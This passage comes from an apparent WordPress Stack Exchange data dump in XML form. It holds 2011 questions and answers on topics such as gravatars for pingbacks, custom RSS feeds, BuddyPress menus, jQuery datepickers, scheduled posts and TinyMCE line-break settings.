?&amp;gt;&#xA;                                &amp;lt;p&amp;gt;&amp;lt;?php _e('Your comment is awaiting moderation.') ?&amp;gt;&amp;lt;/p&amp;gt;&#xA;                                &amp;lt;br/&amp;gt;&#xA;                            &amp;lt;?php endif; ?&amp;gt;&#xA;                            &amp;lt;?php comment_text() ?&amp;gt;&#xA;                        &amp;lt;/div&amp;gt;&#xA;                    &amp;lt;/td&amp;gt;&#xA;                &amp;lt;/tr&amp;gt;&#xA;            &amp;lt;/table&amp;gt;&#xA;         &amp;lt;/div&amp;gt;&#xA;&amp;lt;?php&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It seems to that wp_gravatar should call up the non-registered user image due to a lack of an e-mail address for pings, but instead its returning nothing: &lt;a href=&quot;http://bit.ly/hG26ih&quot; rel=&quot;nofollow&quot;&gt;http://bit.ly/hG26ih&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="4258" LastActivityDate="2011-04-26T14:37:58.463" Title="Default Gravatar not showing for pings" Tags="&lt;comments&gt;&lt;pingbacks&gt;&lt;callbacks&gt;&lt;gravatar&gt;" AnswerCount="1" CommentCount="0" />
  <row Id="15636" PostTypeId="2" ParentId="15607" CreationDate="2011-04-26T14:24:49.393" Score="1" ViewCount="" Body="&lt;p&gt;If you have a blog that is hosted on WordPress.com, &lt;a href=&quot;http://en.support.wordpress.com/com-vs-org/&quot; rel=&quot;nofollow&quot;&gt;you can't install extra plugins or modify the theme files yourself&lt;/a&gt; - this is only possible with a self-hosted version.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, &lt;a href=&quot;http://en.support.wordpress.com/latex/&quot; rel=&quot;nofollow&quot;&gt;WordPress.com has enabled LaTeX support&lt;/a&gt; for everyone. Just write &lt;code&gt;$latex your-latex-code$&lt;/code&gt; and it will be rendered as images.&lt;/p&gt;&#xA;" OwnerUserId="8" LastActivityDate="2011-04-26T14:24:49.393" />
  <row Id="15637" PostTypeId="2" ParentId="14923" CreationDate="2011-04-26T14:32:06.457" Score="0" ViewCount="" Body="&lt;p&gt;&lt;a href=&quot;http://xhtml-css.com/wptex/&quot; rel=&quot;nofollow&quot;&gt;WPTeX&lt;/a&gt; allows you to convert your WordPress blog to a LaTeX document. If it does not already contain support for inline LaTeX, it should be really easy to add it.&lt;/p&gt;&#xA;" OwnerUserId="8" LastActivityDate="2011-04-26T14:32:06.457" />
  <row Id="15638" PostTypeId="2" ParentId="15635" CreationDate="2011-04-26T14:37:58.463" Score="1" ViewCount="" Body="&lt;p&gt;By default WordPress &lt;a href=&quot;http://core.trac.wordpress.org/browser/tags/3.1.1/wp-includes/pluggable.php#L1637&quot; rel=&quot;nofollow&quot;&gt;does not display an avatar for a pingback or a trackback&lt;/a&gt; - do they even contain an e-mail address? You can add these to the &lt;code&gt;get_avatar_comment_types&lt;/code&gt; filter if you want to change this.&lt;/p&gt;&#xA;" OwnerUserId="8" LastActivityDate="2011-04-26T14:37:58.463" CommentCount="2" />
  <row Id="15639" PostTypeId="1" CreationDate="2011-04-26T14:39:04.543" Score="0" ViewCount="66" Body="&lt;p&gt;I'm got an issue here that's stumping me.  I'm trying to create a custom RSS feed using &lt;code&gt;add_feed()&lt;/code&gt;.  The feed seems to have been created successfully, but I'm quite stuck on some bug in the feed template I'm writing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For some reason, in my code, &lt;code&gt;the_post()&lt;/code&gt; seems to return nothing inside the loop.  (I've verified this by using &lt;code&gt;print_r&lt;/code&gt;).  I just don't have access to the typical post-related information that I'd expect.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Even stranger: &lt;code&gt;get_defined_vars()&lt;/code&gt; outputs nothing inside the template as well.  I wrote up a test script to hosted on another vhost on the same physical machine to verify that PHP is configured correctly, and it seems to be.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Stranger still: despite all of the above, my &lt;code&gt;&amp;lt;item&amp;gt;&lt;/code&gt;s aren't coming through blank.  &lt;em&gt;Some&lt;/em&gt; of the wordpress functions seem to work - just not all of them :/&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As a reference, here's the entire template file I'm working on.  It's very minimal, but based off of the &lt;code&gt;wp-includes/feed-rss2.php&lt;/code&gt; file:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://pastebin.com/BBLcDXp8&quot; rel=&quot;nofollow&quot;&gt;View it on pastebin&lt;/a&gt;.  (Sorry, tried to put it here, but the formatter was getting pretty confused by it.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help is tremendously appreciated.  I'm stumped!&lt;/p&gt;&#xA;" OwnerUserId="4758" LastActivityDate="2011-04-27T14:42:14.230" Title="the_post() in RSS feed" Tags="&lt;template&gt;&lt;rss&gt;&lt;the-loop&gt;" AnswerCount="2" />
  <row Id="15640" PostTypeId="2" ParentId="15632" CreationDate="2011-04-26T14:46:13.890" Score="1" ViewCount="" Body="&lt;p&gt;I have asked the same question here, personally I thought it was madness that it was so difficult. &lt;a href=&quot;http://apple.stackexchange.com/questions/11135/how-do-i-create-a-file-with-a-custom-file-extension&quot;&gt;http://apple.stackexchange.com/questions/11135/how-do-i-create-a-file-with-a-custom-file-extension&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The best I answer I found is just to open terminal and use the linux 'touch' command, just &lt;code&gt;cd&lt;/code&gt; to the correct directory and then execute &lt;code&gt;touch .htaccess&lt;/code&gt; to create a .htaccess file.&lt;/p&gt;&#xA;" OwnerUserId="3669" LastActivityDate="2011-04-26T14:46:13.890" />
  <row Id="15641" PostTypeId="2" ParentId="15632" CreationDate="2011-04-26T14:47:25.663" Score="2" ViewCount="" Body="&lt;p&gt;to make hidden files visible in finder, in terminal:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;defaults write com.apple.Finder AppleShowAllFiles TRUE&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;then enter&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;killall Finder&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and enter again.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;change TRUE to FALSE to disable it again.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This will let you see and manipulate files in the Finder that begin with the dot.&lt;/p&gt;&#xA;" OwnerUserId="4771" LastActivityDate="2011-04-26T14:47:25.663" />
  <row Id="15642" PostTypeId="2" ParentId="15298" CreationDate="2011-04-26T14:48:16.223" Score="1" ViewCount="" Body="&lt;p&gt;It depends on what you call &quot;nice&quot; of course - it's hard to create something meaningful with an algorithm.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Someone once created &lt;a href=&quot;http://unicornify.appspot.com/&quot; rel=&quot;nofollow&quot;&gt;a unicorn-generator&lt;/a&gt;, which was &lt;a href=&quot;http://meta.stackoverflow.com/questions/37328/my-godits-full-of-unicorns&quot;&gt;used on April 1, 2010 all over Stack Overflow&lt;/a&gt;. Your unicorn looks like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://unicornify.appspot.com/avatar/86e24055f29ed5480db7cb576a524445?s=128&quot; alt=&quot;Unicornified avatar for Ashwin&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="8" LastActivityDate="2011-04-26T14:48:16.223" CommentCount="1" />
  <row Id="15643" PostTypeId="1" AcceptedAnswerId="15644" CreationDate="2011-04-26T15:06:44.957" Score="0" ViewCount="74" Body="&lt;p&gt;The basic of what I need;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A public page where the visitor have to fill out a form in order to be able to download a large file (the one and the same file for all downloads/users). The file should only be available trough something like a temporary url for a specific amount of time from when the form was submitted. In other words, time limited access to the file for a specific user.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To create and setup the form is no problem, but making the file accessible for a limited amount of time to the user whom submitted the form is a completely different story. I have no good ideas on how to create time limited access. Don't know where to start.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas on how to create this with WordPress? Plugin suggestions are welcome too.&lt;/p&gt;&#xA;" OwnerUserId="3763" LastActivityDate="2011-04-26T15:16:13.517" Title="Time limited file download upon form submit" Tags="&lt;filesystem&gt;" AnswerCount="1" FavoriteCount="1" />
  <row Id="15644" PostTypeId="2" ParentId="15643" CreationDate="2011-04-26T15:16:13.517" Score="0" ViewCount="" Body="&lt;p&gt;a simple way would be to set a cookie with a timestamp when they submit the form, then check for the cookie and valid timestamp when they hit the url to download the file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;a more complicated process would be to generate a unique url key for each user, put that in a db table with a timestamp, then look up the url, check the time and then delete when they hit it for download.&lt;/p&gt;&#xA;" OwnerUserId="4771" LastActivityDate="2011-04-26T15:16:13.517" CommentCount="1" />
  <row Id="15645" PostTypeId="1" AcceptedAnswerId="15648" CreationDate="2011-04-26T15:18:33.490" Score="2" ViewCount="159" Body="&lt;p&gt;If I sign up for a Wordpress blog that is hosted for free by Wordpress &lt;a href=&quot;http://wordpress.com/&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;, who will own the content I post, and how much storage will I have? I know I could ask their customer support, but I don't trust companies (their lawyers specifically). &lt;/p&gt;&#xA;" OwnerUserId="4900" LastActivityDate="2011-04-27T10:36:04.960" Title="Who owns the content posted on .wordpress.com blogs?" Tags="&lt;wordpress.com&gt;" AnswerCount="3" CommentCount="6" />
  <row Id="15646" PostTypeId="2" ParentId="15645" CreationDate="2011-04-26T15:29:43.693" Score="1" ViewCount="" Body="&lt;p&gt;The terms of service for WordPress.com are here: &lt;a href=&quot;http://en.wordpress.com/tos/&quot; rel=&quot;nofollow&quot;&gt;http://en.wordpress.com/tos/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="490" LastActivityDate="2011-04-26T15:29:43.693" />
  <row Id="15647" PostTypeId="2" ParentId="15632" CreationDate="2011-04-26T15:40:42.750" Score="1" ViewCount="" Body="&lt;p&gt;If you set the root folder of your WordPress install to writeable by everyone then go in to the Permalink settings and save the .htaccess file will be created automatically. &lt;/p&gt;&#xA;" OwnerUserId="3365" LastActivityDate="2011-04-26T15:40:42.750" />
  <row Id="15648" PostTypeId="2" ParentId="15645" CreationDate="2011-04-26T15:41:43.593" Score="5" ViewCount="" Body="&lt;p&gt;From the &lt;a href=&quot;http://en.wordpress.com/tos/&quot; rel=&quot;nofollow&quot;&gt;TOS&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;By submitting Content to Automattic for inclusion on your Website, you grant Automattic a world-wide, royalty-free, and non-exclusive license to reproduce, modify, adapt and publish the Content solely for the purpose of displaying, distributing and promoting your blog. If you delete Content, Automattic will use reasonable efforts to remove it from the Website, but you acknowledge that caching or references to the Content may not be made immediately unavailable.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;It means that you own it but they have full rights.&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-04-26T15:41:43.593" CommentCount="1" />
  <row Id="15649" PostTypeId="2" ParentId="14421" CreationDate="2011-04-26T15:44:34.387" Score="2" ViewCount="" Body="&lt;p&gt;Here's - &lt;a href=&quot;https://gist.github.com/942518&quot; rel=&quot;nofollow&quot;&gt;a small plugin i wrote&lt;/a&gt; - that works &amp;amp; is tested. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can simply upload it and test it using the following function inside your &lt;code&gt;functions.php&lt;/code&gt; file:&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;How to&lt;/h3&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# Add a user to a user group from inside your functions.php file&#xA;function test_me( $user_group_A )&#xA;{&#xA;    $user_group_A[] = 'Take your own name for testing';&#xA;&#xA;    return $user_group_A;&#xA;}&#xA;add_filter( 'user_group_A', 'test_me' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h3&gt;Notes&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;Adding one (or more) users to one of the groups is as easy as shown above. Modifying the menu item groups is nearly the same. Just handle those arrays inside your themes functions.&lt;/p&gt;&#xA;" OwnerUserId="385" LastEditorUserId="385" LastEditorDisplayName="" LastEditDate="2011-04-26T16:10:02.067" LastActivityDate="2011-04-26T16:10:02.067" CommentCount="2" />
  <row Id="15650" PostTypeId="1" AcceptedAnswerId="15669" CreationDate="2011-04-26T15:46:19.013" Score="1" ViewCount="224" Body="&lt;p&gt;I'm trying to add BuddyPress nav menu support to my theme and, unfortunately, BP's template tags still aren't fully up to snuff. (Basically, if you're not making an explicit child theme for the BP Default theme, you've got to reinvent several wheels.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So what I'd like to do is&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Detect when BP is active (I know how to do this)&lt;/li&gt;&#xA;&lt;li&gt;Register a menu position when BP is active (also a known quantity)&lt;/li&gt;&#xA;&lt;li&gt;Create a default menu containing links to the BP sections (&lt;strong&gt;this is where the hole in my  knowledge exists&lt;/strong&gt;)&lt;/li&gt;&#xA;&lt;li&gt;Assign said default menu to the newly-registered position&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;So, essentially, with my theme active, if a user activates BuddyPress, they'll automatically get a menu with Members, Forums, Activity, etc. and it will be displayed to a position, &lt;strong&gt;but&lt;/strong&gt; if users wanted to override the menu, they would be free to do so.&#xA;Thoughts?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT 1&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bainternet wins the prize. Here's what I did, slightly modified from his solution:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I conditionally registered a menu location&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if( function_exists( 'bp_get_loggedin_user_nav' ) ){&#xA;    register_nav_menu( 'lblgbpmenu', 'Default BuddyPress Menu' );&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I then conditionally hooked in a call to the menu setup&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if( function_exists( 'bp_get_loggedin_user_nav' ) ){&#xA;    add_action( 'widgets_init', 'lblg_add_default_buddypress_menu' );&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then, last of all, I actually registered the menu&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function lblg_add_default_buddypress_menu(){&#xA;    global $lblg_themename;&#xA;    $menuname = $lblg_themename . ' BuddyPress Menu';&#xA;    $bpmenulocation = 'lblgbpmenu';&#xA;    // Does the menu exist already?&#xA;    $menu_exists = wp_get_nav_menu_object( $menuname );&#xA;&#xA;    // If it doesn't exist, let's create it.&#xA;    if( !$menu_exists){&#xA;        $menu_id = wp_create_nav_menu($menuname);&#xA;&#xA;        // Set up default BuddyPress links and add them to the menu.&#xA;        wp_update_nav_menu_item($menu_id, 0, array(&#xA;            'menu-item-title' =&amp;gt;  __('Home'),&#xA;            'menu-item-classes' =&amp;gt; 'home',&#xA;            'menu-item-url' =&amp;gt; home_url( '/' ), &#xA;            'menu-item-status' =&amp;gt; 'publish'));&#xA;&#xA;        wp_update_nav_menu_item($menu_id, 0, array(&#xA;            'menu-item-title' =&amp;gt;  __('Activity'),&#xA;            'menu-item-classes' =&amp;gt; 'activity',&#xA;            'menu-item-url' =&amp;gt; home_url( '/activity/' ), &#xA;            'menu-item-status' =&amp;gt; 'publish'));&#xA;&#xA;        wp_update_nav_menu_item($menu_id, 0, array(&#xA;            'menu-item-title' =&amp;gt;  __('Members'),&#xA;            'menu-item-classes' =&amp;gt; 'members',&#xA;            'menu-item-url' =&amp;gt; home_url( '/members/' ), &#xA;            'menu-item-status' =&amp;gt; 'publish'));&#xA;&#xA;        wp_update_nav_menu_item($menu_id, 0, array(&#xA;            'menu-item-title' =&amp;gt;  __('Groups'),&#xA;            'menu-item-classes' =&amp;gt; 'groups',&#xA;            'menu-item-url' =&amp;gt; home_url( '/groups/' ), &#xA;            'menu-item-status' =&amp;gt; 'publish'));&#xA;&#xA;        wp_update_nav_menu_item($menu_id, 0, array(&#xA;            'menu-item-title' =&amp;gt;  __('Forums'),&#xA;            'menu-item-classes' =&amp;gt; 'forums',&#xA;            'menu-item-url' =&amp;gt; home_url( '/forums/' ), &#xA;            'menu-item-status' =&amp;gt; 'publish'));&#xA;&#xA;        // Grab the theme locations and assign our newly-created menu&#xA;        // to the BuddyPress menu location.&#xA;        if( !has_nav_menu( $bpmenulocation ) ){&#xA;            $locations = get_theme_mod('nav_menu_locations');&#xA;            $locations[$bpmenulocation] = $menu_id;&#xA;            set_theme_mod( 'nav_menu_locations', $locations );&#xA;        }&#xA;&#xA;    } &#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="61" LastEditorUserId="61" LastEditorDisplayName="" LastEditDate="2011-05-13T13:01:49.313" LastActivityDate="2011-05-13T13:01:49.313" Title="How can I create an auto-populated menu that is automatically assigned to a location?" Tags="&lt;custom-menus&gt;&lt;buddypress&gt;" AnswerCount="2" />
  <row Id="15651" PostTypeId="1" AcceptedAnswerId="15672" CreationDate="2011-04-26T15:52:20.517" Score="0" ViewCount="131" Body="&lt;p&gt;I'm using Mac OS X's built in Apache + PHP with MySQL. Everything works perfectly, except for my pretty %postname% permalinks — they just won't work. I have obviously enabled mod_rewrite and set the AllowOverride setting to All on my httpd.conf file. In case there's anything I can do (I really don't want to run MAMP), is there any programmatic way to use default permalinks on localhost using the very same template files?&lt;/p&gt;&#xA;" OwnerUserId="3195" LastActivityDate="2011-04-26T18:15:43.027" Title="How to enable %postname% permalinks on Mac?" Tags="&lt;permalinks&gt;&lt;apache&gt;&lt;localhost&gt;" AnswerCount="2" />
  <row Id="15652" PostTypeId="2" ParentId="15633" CreationDate="2011-04-26T15:53:25.133" Score="1" ViewCount="" Body="&lt;p&gt;&lt;code&gt;wp_login_form()&lt;/code&gt; creates a form with an action attribute of &lt;code&gt;site_url/wp-login.php&lt;/code&gt; and that means that when you click the submit button the the form is posted to &lt;code&gt;site_url/wp-login.php&lt;/code&gt; which ignores redirect_to on errors (like wrong password) so in your case either go back to using a plugin or recreate the whole login process and that way you have control on errors, take a look at &lt;a href=&quot;http://wordpress.stackexchange.com/questions/14692/check-for-correct-username-on-custom-login-form&quot;&gt;Check for correct username on custom login form&lt;/a&gt; which is very similar question.&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-04-26T15:53:25.133" CommentCount="1" />
  <row Id="15653" PostTypeId="2" ParentId="15608" CreationDate="2011-04-26T16:04:24.853" Score="1" ViewCount="" Body="&lt;p&gt;I use &lt;a href=&quot;http://wordpress.org/extend/plugins/advertising-manager/&quot; rel=&quot;nofollow&quot;&gt;Advertising Manager&lt;/a&gt; on my site for AdSense and haven't had any problems with it. It has a useful import feature where you just paste your AdSense code and it will automatically configure the appropriate ad settings.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To insert an ad into the header using Advertising manager, you could simply edit your theme and use the following code:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;&amp;lt;?php advman_ad('YOUR-ADVERTISMENT-NAME'); ?&amp;gt;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Advertising Manager also offers a drop-down selector for inserting ads into posts and a sidebar widget.&lt;/p&gt;&#xA;" OwnerUserId="3298" LastActivityDate="2011-04-26T16:04:24.853" />
  <row Id="15654" PostTypeId="2" ParentId="15651" CreationDate="2011-04-26T16:04:28.950" Score="0" ViewCount="" Body="&lt;p&gt;there are two conf files for the built in apache, one for your username, which may be setting allowoverride to none.&lt;/p&gt;&#xA;" OwnerUserId="4771" LastActivityDate="2011-04-26T16:04:28.950" CommentCount="4" />
  <row Id="15655" PostTypeId="1" AcceptedAnswerId="15697" CreationDate="2011-04-26T16:04:51.227" Score="0" ViewCount="238" Body="&lt;p&gt;Looking for a plugin that I can hardcode into my custom post type template that pulls the images from gallery images added into the standard WP gallery.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thoughts?&lt;/p&gt;&#xA;" OwnerUserId="4902" LastActivityDate="2011-04-26T21:59:42.210" Title="Slideshow/Gallery plugin based on WP Core Gallery" Tags="&lt;custom-post-types&gt;&lt;customization&gt;&lt;gallery&gt;" AnswerCount="2" />
  <row Id="15656" PostTypeId="1" AcceptedAnswerId="15659" CreationDate="2011-04-26T16:26:10.973" Score="1" ViewCount="700" Body="&lt;p&gt;I would like to add a custom field that is set by a jquery datepicker ui in the post edit panel. Im new to wordpress, so Im not sure how to go about adding something like this. I haven't had much luck with plugins, so I would like to know how one would go about adding something like this manually. I am familiar with PHP. &lt;/p&gt;&#xA;" OwnerUserId="1294" LastActivityDate="2011-04-26T16:59:59.120" Title="Add a Jquery Datepicker to custom field in post edit" Tags="&lt;custom-field&gt;&lt;php&gt;&lt;jquery&gt;&lt;datepicker&gt;" AnswerCount="2" />
  <row Id="15657" PostTypeId="1" AcceptedAnswerId="15662" CreationDate="2011-04-26T14:33:23.927" Score="2" ViewCount="121" Body="&lt;p&gt;I am currently in version 3.1 of WordPress and I have a problem with planning my post. In fact, whenever I plan a post, it is written: &quot;Scheduled missed. Could you help me please.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you in advance&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Francis NIKOU&lt;/p&gt;&#xA;" OwnerUserId="4923" LastEditorUserId="847" LastEditorDisplayName="" LastEditDate="2011-04-26T20:55:11.197" LastActivityDate="2011-04-26T20:55:11.197" Title="Missed scheduled WordPress" Tags="&lt;wp-cron&gt;&lt;scheduled-posts&gt;" AnswerCount="1" FavoriteCount="1" />
  <row Id="15658" PostTypeId="1" CreationDate="2011-04-26T16:31:36.300" Score="0" ViewCount="51" Body="&lt;p&gt;I am trying to format my post with extra blank lines. But for some reason they dont get reflected when i save it? But the underline etc work fine&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any idea how to sort this problem&lt;/p&gt;&#xA;" OwnerUserId="4903" LastActivityDate="2011-05-26T20:50:33.200" Title="why doesnt my formatting work in my wisiwig editor?" Tags="&lt;formatting&gt;" AnswerCount="2" />
  <row Id="15659" PostTypeId="2" ParentId="15656" CreationDate="2011-04-26T16:35:55.173" Score="3" ViewCount="" Body="&lt;p&gt;Since you are new to WordPress I would suggest using &lt;a href=&quot;http://www.deluxeblogtips.com/p/meta-box-script-for-wordpress.html&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;Meta Box Script for WordPress&lt;/strong&gt;&lt;/a&gt; which provides an easy way of adding your custom fields to the post edit panel and its main features are:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Support various field types, including: text, textarea, checkbox, checkbox list, radio box, select, wysiwyg, file, image, date, time, color. Developers can easily add more types by extending the script.&lt;/li&gt;&#xA;&lt;li&gt;Allow to create multiple meta boxes.&lt;/li&gt;&#xA;&lt;li&gt;Written in OOP, allow developers easily extend the script.&lt;/li&gt;&#xA;&lt;li&gt;Work with custom post types. Each meta box can be defined for many custom post types.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-04-26T16:35:55.173" />
  <row Id="15660" PostTypeId="2" ParentId="15656" CreationDate="2011-04-26T16:59:59.120" Score="2" ViewCount="" Body="&lt;p&gt;I know you have already accepted an answer but I add this for others that are maybe a bit more advanced are creating their own meta boxes. Below is the code I used in a recent project to enable a date picker on a field in a custom post type. Feel free to amend for your needs:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;functions file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// Register datepicker ui for properties&#xA;function admin_homes_for_sale_javascript(){&#xA;    global $post;&#xA;    if($post-&amp;gt;post_type == 'homes-for-sale' &amp;amp;&amp;amp; is_admin()) {&#xA;        wp_enqueue_script('jquery-ui-datepicker', WP_CONTENT_URL . '/themes/philosophy/js/jquery-ui-datepicker.min.js');  &#xA;    }&#xA;}&#xA;add_action('admin_print_scripts', 'admin_homes_for_sale_javascript');&#xA;&#xA;// Register ui styles for properties&#xA;function admin_homes_for_sale_styles(){&#xA;    global $post;&#xA;    if($post-&amp;gt;post_type == 'homes-for-sale' &amp;amp;&amp;amp; is_admin()) {&#xA;        wp_enqueue_style('jquery-ui', WP_CONTENT_URL . '/themes/philosophy/css/jquery-ui-1.8.11.custom.css');  &#xA;    }&#xA;}&#xA;add_action('admin_print_styles', 'admin_homes_for_sale_styles');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then code inline with meta box that has the date picker in:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;script&amp;gt;jQuery(document).ready(function(){jQuery( &quot;input[name='chb_homes_for_sale_specifics_dateavail']&quot; ).datepicker({ dateFormat: 'DD, d MM, yy', numberOfMonths: 3 }); jQuery( &quot;#ui-datepicker-div&quot; ).hide();});&amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4610" LastActivityDate="2011-04-26T16:59:59.120" CommentCount="1" />
  <row Id="15661" PostTypeId="2" ParentId="15658" CreationDate="2011-04-26T17:16:53.070" Score="-1" ViewCount="" Body="&lt;p&gt;The WordPress visual editor automatically removes extra blank lines and spaces. An easy way around this is to use the following code in the HTML editor:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;&amp;lt;p style=&quot;text-align: left;&quot;&amp;gt;&amp;lt;/p&amp;gt;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This will preserve the spacing even when you return to the visual editor.&lt;/p&gt;&#xA;" OwnerUserId="3298" LastEditorUserId="3298" LastEditorDisplayName="" LastEditDate="2011-05-26T20:50:33.200" LastActivityDate="2011-05-26T20:50:33.200" CommentCount="2" />
  <row Id="15662" PostTypeId="2" ParentId="15657" CreationDate="2011-04-26T17:19:23.373" Score="1" ViewCount="" Body="&lt;p&gt;Due to your server configuration, you may need to use the alternate cron method, which uses redirect rather than http loopback.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Try adding the following to your &lt;code&gt;wp-config.php&lt;/code&gt; file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// Alternate cron method &#xA;define( 'ALTERNATE_WP_CRON', true );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3966" LastActivityDate="2011-04-26T17:19:23.373" CommentCount="1" />
  <row Id="15663" PostTypeId="2" ParentId="15658" CreationDate="2011-04-26T17:20:55.510" Score="2" ViewCount="" Body="&lt;p&gt;The Visual editor is behaving as-configured.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You will either need to pass a custom configuration setting to tell TinyMCE not to ignore multiple line-breaks, or else you will need to use the HTML editor if you want to add line-breaks in the manner that you're currently using.&lt;/p&gt;&#xA;" OwnerUserId="3966" LastActivityDate="2011-04-26T17:20:55.510" />
  <row Id="15664" PostTypeId="2" ParentId="15650" CreationDate="2011-04-26T17:22:57.023" Score="0" ViewCount="" Body="&lt;p&gt;Your call to &lt;code&gt;wp_nav_menu()&lt;/code&gt; needs to include a custom callback function, such as a call to &lt;code&gt;wp_list_pages()&lt;/code&gt;, to which you can pass an &lt;code&gt;include&lt;/code&gt; argument, into which you can include explicit Page IDs.&lt;/p&gt;&#xA;" OwnerUserId="3966" LastActivityDate="2011-04-26T17:22:57.023" CommentCount="8" />
  <row Id="15665" PostTypeId="1" AcceptedAnswerId="15677" CreationDate="2011-04-26T17:27:43.090" Score="0" ViewCount="283" Body="&lt;p&gt;I've been suggested by my hosting to move from w3-total-cache to wp-super-cache since the later is supposed to be using less memory then the first.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any knowledge about this comparison?&#xA;Is there a way to test it on my own site? (I am on a managed VPS)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="161" LastActivityDate="2011-04-26T18:41:35.547" Title="Memory consumption in w3-total-cache vs wp-super-cache?" Tags="&lt;plugin-w3-total-cache&gt;&lt;memory&gt;&lt;wp-super-cache&gt;" AnswerCount="1" FavoriteCount="1" />
  <row Id="15666" PostTypeId="2" ParentId="15394" CreationDate="2011-04-26T17:28:06.973" Score="1" ViewCount="" Body="&lt;p&gt;Here's (a pared-down version of) what I use to custom-configure TinyMCE:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// http://tinymce.moxiecode.com/wiki.php/Configuration&#xA;function cbnet_tinymce_config( $init ) {&#xA;&#xA;    // Don't remove line breaks&#xA;    $init['remove_linebreaks'] = false; &#xA;&#xA;    // Pass $init back to WordPress&#xA;    return $init;&#xA;}&#xA;add_filter('tiny_mce_before_init', 'cbnet_tinymce_config');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I assume this is what you tried already?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You may need to include some other config changes, such as:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// Convert newline characters to BR tags&#xA;$init['convert_newlines_to_brs'] = true; &#xA;// Do not remove redundant BR tags&#xA;$init['remove_redundant_brs'] = false;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Play around with the &lt;a 